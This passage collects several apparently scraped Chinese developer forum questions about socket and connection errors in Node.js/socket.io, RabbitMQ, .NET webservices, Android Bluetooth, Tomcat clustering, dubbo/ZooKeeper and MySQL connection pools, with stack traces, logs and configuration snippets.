exBuffer.put(sbuf); exBuffer.put(data); } else{ exBuffer.put(data); } console.log('nodeServer'+data.length); }); //当nodeServer收到完整的数据包时 exBuffer.on('data', function(buffer) { console.log('>> nodeServer receive data.length:'+buffer.length); //console.log(buffer); //console.log(buffer.readInt32LE(826)); var useData=byteArrayUntil.getUseJson(buffer,offset); console.log(aSocket); aSocket.emit['pushToWebClient',useData.hz]; }); // 为nodeServer添加“data”事件处理函数 // data是服务器发回的数据 // 为客户端添加“close”事件处理函数 nodeServer.on('close', function() { console.log('Connection closed'); }); //构造一个遍历函数,分别返回array或者json var byteArrayUntil=new function(){ this.getUseData=function(data,offset){ var arr=[]; for(var i=0;i<=799;i++){ arr.push(data.readInt32LE(826+i*offset)); } return arr; } this.getUseJson=function(data,offset){ var arr=[]; for(var i=0;i<=500;i++){ arr.push(data.readInt32LE(826+i*offset)); } return {'hz':arr}; } }();** 客户端部分:(很多无用的就贴关键的了,其实这个可以暂时无视) <script> var socket = io.connect(); socket.on("test", function (data) { console.log(data); }); socket.on('pushToWebClient', function (data) { console.log(data); }); 现在问题就是服务器的这一部分: exBuffer.on('data', function(buffer) { console.log('>> nodeServer receive data.length:'+buffer.length); //console.log(buffer); //console.log(buffer.readInt32LE(826)); var useData=byteArrayUntil.getUseJson(buffer,offset); console.log(aSocket); aSocket.emit['pushToWebClient',useData.hz]; }); 我把数据接收到了,最后一句转发给客户端不会。ps:不用管对应id问题,我只需要简单实现转发数据即可。 参考过这个文档(如果知道上面怎么处理可以不用继续看了): var http = require('http'), 2 net = require('net'), 3 app = http.createServer().listen('8181'), 4 io = require('socket.io').listen(app), 5 nodeServer = new net.Socket(); 6 // 连接到Tomcat 7 nodeServer.connect(8007, '127.0.0.1', function() { 8 console.log('CONNECTED'); 9 }); 10 // 存储客户端的WebSocket连接实例 11 var aSocket = {}; 12 // 同客户端建立连接 13 io.sockets.on('connection', function (socketIO) { 14 // 从客户端接收数据,然后发送至Tomcat 15 socketIO.on('fromWebClient', function (webClientData) { 16 // 存储至映射表 17 aSocket[socketIO.id] = socketIO; 18 // 发送至Tomcat的数据中添加socket_id 19 webClientData['sid'] = socketIO.id; 20 // 发送String类型的数据至Tomcat 21 nodeServer.write(JSON.stringify(webClientData)); 22 }); 23 // 客户端断开连接 24 socketIO.on('disconnect', function () { 25 console.log('DISCONNECTED FROM CLIENT'); 26 }); 27 }); 28 29 // 从Tomcat接收数据 30 nodeServer.on('data', function (data) { 31 var jsonData = JSON.parse(data.toString()); 32 // 分发数据至客户端 33 for (var i in jsonData.list) { 34 aSocket[jsonData.list[i]['sid']].emit('pushToWebClient', jsonData.list[i].data); 35 } 36 }); 有这么一句 aSocket[jsonData.list[i]['sid']].emit('pushToWebClient', jsonData.list[i].data); 虽然它实现的是通过id来实现建立一一对应连接,但是它还是独立出来使用了(查了一些资料都是在一起用的), 到底该怎么实现呢?ps:不用管对应id问题,我只需要简单实现转发数据即可。 求大神帮助。
SpringBoot 集成RabbitMQ 启动时报Socket Close 错误
今天在做SpringBoot 集成RabbitMQ时,启动会报 ``` java.net.SocketException: Socket Closed at java.net.SocketInputStream.socketRead0(Native Method) ~[na:1.7.0_80] at java.net.SocketInputStream.read(SocketInputStream.java:152) ~[na:1.7.0_80] at java.net.SocketInputStream.read(SocketInputStream.java:122) ~[na:1.7.0_80] at java.io.BufferedInputStream.fill(BufferedInputStream.java:235) ~[na:1.7.0_80] at java.io.BufferedInputStream.read(BufferedInputStream.java:254) ~[na:1.7.0_80] at java.io.DataInputStream.readUnsignedByte(DataInputStream.java:288) ~[na:1.7.0_80] at com.rabbitmq.client.impl.Frame.readFrom(Frame.java:91) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.impl.SocketFrameHandler.readFrame(SocketFrameHandler.java:164) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.impl.AMQConnection$MainLoop.run(AMQConnection.java:571) ~[amqp-client-4.0.2.jar:4.0.2] at java.lang.Thread.run(Thread.java:745) [na:1.7.0_80] 2018-12-18 18:29:21.876 INFO 10896 --- [cTaskExecutor-2] o.s.a.r.c.CachingConnectionFactory : Created new connection: SimpleConnection@77d0bf3e [delegate=amqp://admin@192.168.220.128:5672/, localPort= 51285] 2018-12-18 18:29:22.953 INFO 10896 --- [ main] s.b.c.e.t.TomcatEmbeddedServletContainer : Tomcat started on port(s): 8080 (http) 2018-12-18 18:29:22.964 INFO 10896 --- [ main] com.gg.miaosha.MainApplication : Started MainApplication in 33.034 seconds (JVM running for 34.017) 2018-12-18 18:29:27.019 WARN 10896 --- [cTaskExecutor-1] o.s.a.r.l.SimpleMessageListenerContainer : Consumer raised exception, processing can restart if the connection factory supports it org.springframework.amqp.AmqpTimeoutException: java.util.concurrent.TimeoutException at org.springframework.amqp.rabbit.support.RabbitExceptionTranslator.convertRabbitAccessException(RabbitExceptionTranslator.java:74) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.connection.AbstractConnectionFactory.createBareConnection(AbstractConnectionFactory.java:370) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.connection.CachingConnectionFactory.createConnection(CachingConnectionFactory.java:565) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.connection.ConnectionFactoryUtils$1.createConnection(ConnectionFactoryUtils.java:90) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.connection.ConnectionFactoryUtils.doGetTransactionalResourceHolder(ConnectionFactoryUtils.java:140) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.connection.ConnectionFactoryUtils.getTransactionalResourceHolder(ConnectionFactoryUtils.java:76) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.listener.BlockingQueueConsumer.start(BlockingQueueConsumer.java:505) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1382) ~[spring-rabbit-1.7.1.RELEASE.jar:na] at java.lang.Thread.run(Thread.java:745) [na:1.7.0_80] Caused by: java.util.concurrent.TimeoutException: null at com.rabbitmq.utility.BlockingCell.get(BlockingCell.java:77) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.utility.BlockingCell.uninterruptibleGet(BlockingCell.java:120) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.utility.BlockingValueOrException.uninterruptibleGetValue(BlockingValueOrException.java:36) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.impl.AMQChannel$BlockingRpcContinuation.getReply(AMQChannel.java:372) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.impl.AMQConnection.start(AMQConnection.java:297) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.ConnectionFactory.newConnection(ConnectionFactory.java:909) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.ConnectionFactory.newConnection(ConnectionFactory.java:859) ~[amqp-client-4.0.2.jar:4.0.2] at com.rabbitmq.client.ConnectionFactory.newConnection(ConnectionFactory.java:799) ~[amqp-client-4.0.2.jar:4.0.2] at org.springframework.amqp.rabbit.connection.AbstractConnectionFactory.createBareConnection(AbstractConnectionFactory.java:351) ~[spring-rabbit-1.7.1.RELEASE.jar:na] ... 7 common frames omitted ``` 以下是我的配置文件 ``` spring.rabbitmq.addresses=192.168.220.128 spring.rabbitmq.username=admin spring.rabbitmq.password=admin spring.rabbitmq.publisher-confirms=true spring.rabbitmq.virtual-host=/ spring.rabbitmq.connection-timeout=60000 #\u6D88\u8D39\u8005\u6570\u91CF spring.rabbitmq.listener.simple.concurrency= 10 spring.rabbitmq.listener.simple.max-concurrency= 10 #\u6D88\u8D39\u8005\u6BCF\u6B21\u4ECE\u961F\u5217\u83B7\u53D6\u7684\u6D88\u606F\u6570\u91CF spring.rabbitmq.listener.simple.prefetch= 1 #\u6D88\u8D39\u8005\u81EA\u52A8\u542F\u52A8 spring.rabbitmq.listener.simple.auto-startup=true #\u6D88\u8D39\u5931\u8D25\uFF0C\u81EA\u52A8\u91CD\u65B0\u5165\u961F spring.rabbitmq.listener.simple.default-requeue-rejected= true #\u542F\u7528\u53D1\u9001\u91CD\u8BD5 spring.rabbitmq.template.retry.enabled=true spring.rabbitmq.template.retry.initial-interval=1000 spring.rabbitmq.template.retry.max-attempts=3 spring.rabbitmq.template.retry.max-interval=10000 spring.rabbitmq.template.retry.multiplier=1.0 ``` 但是程序能够 正常运行 RabbitMQ也能进行正常的信息收发, 但是这个错误看着有点受不了.请问有大神知道问题出在哪里吗??
webservice 发送时报错
[2017-11-17 10:21:13上午] 错误信息:System.ServiceModel.CommunicationException: An error occurred while receiving the HTTP response to http://124.93.251.13:8112/webservice1.asmx. This could be due to the service endpoint binding not using the HTTP protocol. This could also be due to an HTTP request context being aborted by the server (possibly due to the service shutting down). See server logs for more details. ---> System.Net.WebException: The underlying connection was closed: An unexpected error occurred on a receive. ---> System.IO.IOException: Unable to read data from the transport connection: 远程主机强迫关闭了一个现有的连接。. ---> System.Net.Sockets.SocketException: 远程主机强迫关闭了一个现有的连接。 at System.Net.Sockets.Socket.Receive(Byte[] buffer, Int32 offset, Int32 size, SocketFlags socketFlags) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) --- End of inner exception stack trace --- at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead) --- End of inner exception stack trace --- at System.Net.HttpWebRequest.GetResponse() at System.ServiceModel.Channels.HttpChannelFactory.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout) --- End of inner exception stack trace --- Server stack trace: at System.ServiceModel.Channels.HttpChannelUtilities.ProcessGetResponseWebException(WebException webException, HttpWebRequest request, HttpAbortReason abortReason) at System.ServiceModel.Channels.HttpChannelFactory.HttpRequestChannel.HttpChannelRequest.WaitForReply(TimeSpan timeout) at System.ServiceModel.Channels.RequestChannel.Request(Message message, TimeSpan timeout) at System.ServiceModel.Dispatcher.RequestChannelBinder.Request(Message message, TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs, TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannelProxy.InvokeService(IMethodCallMessage methodCall, ProxyOperationRuntime operation) at System.ServiceModel.Channels.ServiceChannelProxy.Invoke(IMessage message) Exception rethrown at [0]: at System.Runtime.Remoting.Proxies.RealProxy.HandleReturnMessage(IMessage reqMsg, IMessage retMsg) at System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(MessageData& msgData, Int32 type) at WindowsService.ServiceReference1.WebService1Soap.GetData(DataSet dt) at WindowsService.ServiceReference1.WebService1SoapClient.GetData(DataSet dt) at WindowsService.ReadConfigClass.ConfigProcess() 请各位大神帮忙看一下,网上也找了相关问题但是都没有效果
android蓝牙开发连接问题。
扫描通过广播得到我要的已经配对过的蓝牙设备之后进行连接,一直报E/TAG: java.io.IOException: read failed, socket might closed or timeout, read ret: -1代码如下 if(addr.equals("74:23:44:CF:4E:DF")){ device.fetchUuidsWithSdp(); mBluetoothAdapter.cancelDiscovery(); if(device.getBondState() == BluetoothDevice.BOND_BONDED){ device = mBluetoothAdapter.getRemoteDevice("74:23:44:CF:4E:DF"); new Thread(new Runnable() { @Override public void run() { BluetoothSocket tmp = null; Method method; try { method = device.getClass().getMethod("createRfcommSocket", new Class[]{int.class}); tmp = (BluetoothSocket) method.invoke(device, 1); } catch (Exception e) { Log.e("TAG", e.toString()); } socket = tmp; try { socket.connect(); } catch (Exception e) { Log.e("TAG", e.toString()); } } }).start(); 求诸位大神指点。
Springboot报错问题 求解
最近springBoot 项目一启动 总报一堆 classNotFound异常,也不影响系统运行 但是一直刷 看着也闹心 有大神帮忙看一眼吗 o.s.web.context.ContextLoader : Root WebApplicationContext: initialization completed in 5647 ms 2018-05-02 15:40:11.231 DEBUG 6916 --- [ost-startStop-1] o.a.c.loader.WebappClassLoaderBase : findClass(org.springframework.boot.autoconfigure.web.WebMvcPropertiesBeanInfo) 2018-05-02 15:40:11.232 DEBUG 6916 --- [ost-startStop-1] o.a.c.loader.WebappClassLoaderBase : --> Returning ClassNotFoundException 2018-05-02 15:40:11.233 DEBUG 6916 --- [ost-startStop-1] o.a.c.loader.WebappClassLoaderBase : findClass(org.springframework.boot.autoconfigure.web.WebMvcPropertiesCustomizer) 2018-05-02 15:40:11.233 DEBUG 6916 --- [ost-startStop-1] o.a.c.loader.WebappClassLoaderBase : --> Returning ClassNotFoundException 2018-05-02 15:40:11.245 DEBUG 6916 --- [ost-startStop-1] o.a.c.loader.WebappClassLoaderBase : findClass(org.springframework.boot.autoconfigure.web.MultipartPropertiesBeanInfo) 还有一个报错 好像是tomcat的问题i具体 我也看不明白 有大神帮忙看一下吗 Socket: [org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper@64d4ff57:org.apache.tomcat.util.net.NioChannel@1ee76a03:java.nio.channels.SocketChannel[connected local=/10.115.4.15:3333 remote=/10.144.26.254:60324]], Status in: [OPEN_READ], State out: [CLOSED]
apache+tomcat数据集群问题
大神们,帮小弟看看,apache+tomcat数据集群,都可以正常运行,但是过一会儿就会报强迫关闭了一个现有的连接,我没有关闭呀,2个tomcat都在,只是报这个错,网页运行还是正常的,我就想知道这个是啥原因??哪位大神知道了 ------------------------------------------------------------------------ 四月 27, 2018 9:00:54 上午 org.apache.catalina.tribes.io.XByteBuffer append 严重: Discarded the package, invalid header 四月 27, 2018 9:06:57 上午 org.apache.catalina.tribes.transport.nio.NioReplicationTask run 警告: IOException in replication worker, unable to drain channel. Probable cause: Keep alive socket closed[远程主机强迫关闭了一个现有的连接。]. 四月 27, 2018 12:26:00 下午 org.apache.jk.common.MsgAjp processHeader 严重: BAD packet signature 18245 四月 27, 2018 12:26:00 下午 org.apache.jk.common.ChannelSocket processConnection 严重: Error, processing connection java.lang.IndexOutOfBoundsException at java.io.BufferedInputStream.read(BufferedInputStream.java:338) at org.apache.jk.common.ChannelSocket.read(ChannelSocket.java:628) at org.apache.jk.common.ChannelSocket.receive(ChannelSocket.java:585) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:693) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:898) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:745) 四月 27, 2018 3:19:55 下午 org.apache.catalina.tribes.io.XByteBuffer append 严重: Discarded the package, invalid header 四月 27, 2018 4:24:39 下午 org.apache.catalina.tribes.io.XByteBuffer append 严重: Discarded the package, invalid header 四月 27, 2018 4:24:50 下午 org.apache.catalina.tribes.transport.nio.NioReplicationTask run 警告: IOException in replication worker, unable to drain channel. Probable cause: Keep alive socket closed[远程主机强迫关闭了一个现有的连接。]. 四月 27, 2018 4:53:43 下午 org.apache.catalina.tribes.io.XByteBuffer append 严重: Discarded the package, invalid header 四月 27, 2018 4:53:53 下午 org.apache.catalina.tribes.transport.nio.NioReplicationTask run 警告: IOException in replication worker, unable to drain channel. Probable cause: Keep alive socket closed[远程主机强迫关闭了一个现有的连接。].
什么情况会造成dubbo链接中断?
一个手动调用的dubbo服务,调用后,服务端正常执行完了。但是客户端没有接受到任何返回信息。 检查日志后 服务端: 2018-12-12 02:51:26 [org.I0Itec.zkclient.ZkClient]-[DEBUG] Received event: WatchedEvent state:Disconnected type:None path:null 2018-12-12 02:51:26 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] New event: ZkEvent[State changed to Disconnected sent to com.alibaba.dubbo.remoting.zookeeper.zkclient.ZkclientZookeeperClient$1@28ce7d23] 2018-12-12 02:51:26 [org.I0Itec.zkclient.ZkClient]-[DEBUG] Leaving process event 2018-12-12 02:51:26 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] Delivering event #1 ZkEvent[State changed to Disconnected sent to com.alibaba.dubbo.remoting.zookeeper.zkclient.ZkclientZookeeperClient$1@28ce7d23] 2018-12-12 02:51:26 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] Delivering event #1 done 2018-12-12 02:51:46 [org.I0Itec.zkclient.ZkClient]-[DEBUG] Received event: WatchedEvent state:Expired type:None path:null 2018-12-12 02:51:46 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] New event: ZkEvent[State changed to Expired sent to com.alibaba.dubbo.remoting.zookeeper.zkclient.ZkclientZookeeperClient$1@28ce7d23] 2018-12-12 02:51:46 [org.I0Itec.zkclient.ZkConnection]-[DEBUG] Closing ZooKeeper connected to 10.1.10.91:2181,10.1.10.92:2181,10.1.10.93:2181 2018-12-12 02:51:46 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] Delivering event #2 ZkEvent[State changed to Expired sent to com.alibaba.dubbo.remoting.zookeeper.zkclient.ZkclientZookeeperClient$1@28ce7d23] 2018-12-12 02:51:46 [org.I0Itec.zkclient.ZkEventThread]-[DEBUG] Delivering event #2 done 2018-12-12 02:51:46 [org.apache.zookeeper.ZooKeeper]-[DEBUG] Close called on already closed client zk日志: 2018-12-12 02:51:46,630 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:NIOServerCnxnFactory@192] - Accepted socket connection from /10.1.10.47:47124 2018-12-12 02:51:46,637 [myid:1] - WARN [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@896] - Connection request from old client /10.1.10.47:47124; will be dropped if server is in r-o mode 2018-12-12 02:51:46,638 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@935] - Client attempting to renew session 0x365ee3f0f34002c at /10.1.10.47:47124 2018-12-12 02:51:46,638 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:Learner@108] - Revalidating client: 0x365ee3f0f34002c 2018-12-12 02:51:46,639 [myid:1] - INFO [QuorumPeer[myid=1]/0:0:0:0:0:0:0:0:2181:ZooKeeperServer@680] - Invalid session 0x365ee3f0f34002c for client /10.1.10.47:47124, probably expired 2018-12-12 02:51:46,640 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:NIOServerCnxn@1044] - Closed socket connection for client /10.1.10.47:47124 which had sessionid 0x365ee3f0f34002c 2018-12-12 02:52:23,235 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:NIOServerCnxnFactory@192] - Accepted socket connection from /10.1.10.47:47284 2018-12-12 02:52:23,236 [myid:1] - WARN [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@896] - Connection request from old client /10.1.10.47:47284; will be dropped if server is in r-o mode 2018-12-12 02:52:23,238 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@942] - Client attempting to establish new session at /10.1.10.47:47284 2018-12-12 02:52:23,244 [myid:1] - INFO [CommitProcessor:1:ZooKeeperServer@687] - Established session 0x165ee402a7d003d with negotiated timeout 30000 for client /10.1.10.47:47284 ------- 服务端的方法是一个多线程方法,执行期间没有任何报错,想请教大神们一下,什么情况下才会造成dubbo链接的中断?通常这种问题要怎么调整? ------ zkserver端日志 2018-12-12 02:51:46,630 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:NIOServerCnxnFactory@192] - Accepted socket connection from /10.1.10.47:47124 2018-12-12 02:51:46,637 [myid:1] - WARN [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@896] - Connection request from old client /10.1.10.47:47124; will be dropped if server is in r-o mode 2018-12-12 02:51:46,638 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:ZooKeeperServer@935] - Client attempting to renew session 0x365ee3f0f34002c at /10.1.10.47:47124 2018-12-12 02:51:46,638 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:Learner@108] - Revalidating client: 0x365ee3f0f34002c 2018-12-12 02:51:46,639 [myid:1] - INFO [QuorumPeer[myid=1]/0:0:0:0:0:0:0:0:2181:ZooKeeperServer@680] - Invalid session 0x365ee3f0f34002c for client /10.1.10.47:47124, probably expired 2018-12-12 02:51:46,640 [myid:1] - INFO [NIOServerCxn.Factory:0.0.0.0/0.0.0.0:2181:NIOServerCnxn@1044] - Closed socket connection for client /10.1.10.47:47124 which had sessionid 0x365ee3f0f34002c
Android现网错误日志的处理。
例如: 错误类型有:error.screen.blank,error.play,error.screen.blank。 错误的详细日志: error.screen.blank 当前有网络 java.lang.Exception LOAD_CHAPTER_ERROR加载信息错误 bookId 30992chapterId 363 com.readtech.hmreader.app.book.e.n.onFailureSourceFile210 Caused by java.net.SocketTimeoutException timeout d.s.aSourceFile227 Caused by java.net.SocketException Socket closed java.net.SocketInputStream.socketRead0Native Method java.net.SocketInputStream.readSocketInputStream.java151 java.net.SocketInputStream.readSocketInputStream.java120 d.q.aSourceFile138 d.c.aSourceFile236 d.u.bSourceFile66 d.u.aSourceFile59 d.u.nSourceFile284 c.a.d.ac.bSourceFile445 c.a.d.ac.aSourceFile426 d.e.aSourceFile996 d.u.aSourceFile189 c.al.eSourceFile174 com.iflytek.lab.net.RequestManager.handleResponseSourceFile97 com.iflytek.lab.net.RequestManager.access100SourceFile38 com.iflytek.lab.net.RequestManager1.onResponseSourceFile84 c.afa.bSourceFile135 c.a.b.runSourceFile32 java.util.concurrent.ThreadPoolExecutor.runWorkerThreadPoolExecutor.java1133 java.util.concurrent.ThreadPoolExecutorWorker.runThreadPoolExecutor.java607 java.lang.Thread.runThread.java761 这些数据有几十万条,我该怎样分析归类啊? 有没有哪位大神有过Android错误日志的处理经验。 求一个处理的小程序。
mysql连接8小时后异常
26-Aug-2015 08:27:41.925 SEVERE [http-apr-8099-exec-12] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [SpringWebController] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.transaction.CannotCreateTransactionException: Could not open JDBC Connection for transaction; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: No operations allowed after connection closed.] with root cause java.net.SocketException: Software caused connection abort: socket write error at java.net.SocketOutputStream.socketWrite0(Native Method) at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:113) at java.net.SocketOutputStream.write(SocketOutputStream.java:159) at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82) at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140) at com.mysql.jdbc.MysqlIO.send(MysqlIO.java:3852) at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2484) at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2664) at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2809) at com.mysql.jdbc.ConnectionImpl.setReadOnlyInternal(ConnectionImpl.java:5484) at com.mysql.jdbc.ConnectionImpl.setReadOnly(ConnectionImpl.java:5477) at sun.reflect.GeneratedMethodAccessor145.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at org.apache.tomcat.jdbc.pool.ProxyConnection.invoke(ProxyConnection.java:126) at org.apache.tomcat.jdbc.pool.JdbcInterceptor.invoke(JdbcInterceptor.java:109) at org.apache.tomcat.jdbc.pool.DisposableConnectionFacade.invoke(DisposableConnectionFacade.java:80) at com.sun.proxy.$Proxy56.setReadOnly(Unknown Source) at org.springframework.jdbc.datasource.DataSourceUtils.prepareConnectionForTransaction(DataSourceUtils.java:155) at org.springframework.jdbc.datasource.DataSourceTransactionManager.doBegin(DataSourceTransactionManager.java:214) at org.springframework.transaction.support.AbstractPlatformTransactionManager.getTransaction(AbstractPlatformTransactionManager.java:373) at org.springframework.transaction.interceptor.TransactionAspectSupport.createTransactionIfNecessary(TransactionAspectSupport.java:457) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:276) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke(ExposeInvocationInterceptor.java:92) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.a30.endnote.systemic.service.ParametersService$$EnhancerBySpringCGLIB$$a0be71ae.findParameterlist(<generated>) at com.a30.endnote.systemic.controller.IndexController.handleRequestInternal(IndexController.java:83) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:221) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:137) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:110) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:777) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:706) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:943) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966) at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:857) at javax.servlet.http.HttpServlet.service(HttpServlet.java:618) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842) at javax.servlet.http.HttpServlet.service(HttpServlet.java:725) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:106) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:142) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:610) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:516) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1086) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:659) at org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHandler.process(Http11AprProtocol.java:285) at org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.doRun(AprEndpoint.java:2439) at org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.run(AprEndpoint.java:2428) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) 数据库链接配置如下: <bean id="dataSource" class="org.apache.tomcat.jdbc.pool.DataSource"> <property name="driverClassName" value="${jdbc.driverClassName}" /> <property name="url" value="${jdbc.url}" /> <property name="username" value="${jdbc.username}"/> <property name="password" value="${jdbc.password}"/> <property name="maxActive" value="200" /> <property name="initialSize" value="10" /> <!-- 配置获取连接等待超时的时间 --> <property name="maxWait" value="60000" /> <property name="minIdle" value="1" /> <property name="removeAbandonedTimeout" value="360"/> <!--自我中断时间秒 --> <property name="minEvictableIdleTimeMillis" value="60000"/> <!--连接的超时时间,默认为半小时。--> <property name="timeBetweenEvictionRunsMillis" value="30000"/> <!-- #运行判断连接超时任务的时间间隔,单位为毫秒,默认为-1,即不执行任务。 --> <property name="validationInterval" value="60000"/> <!--检查连接死活的时间间隔(单位:毫妙) 0以下的话不检查。默认是0。 --> <property name="validationQuery" value="select 1"/> 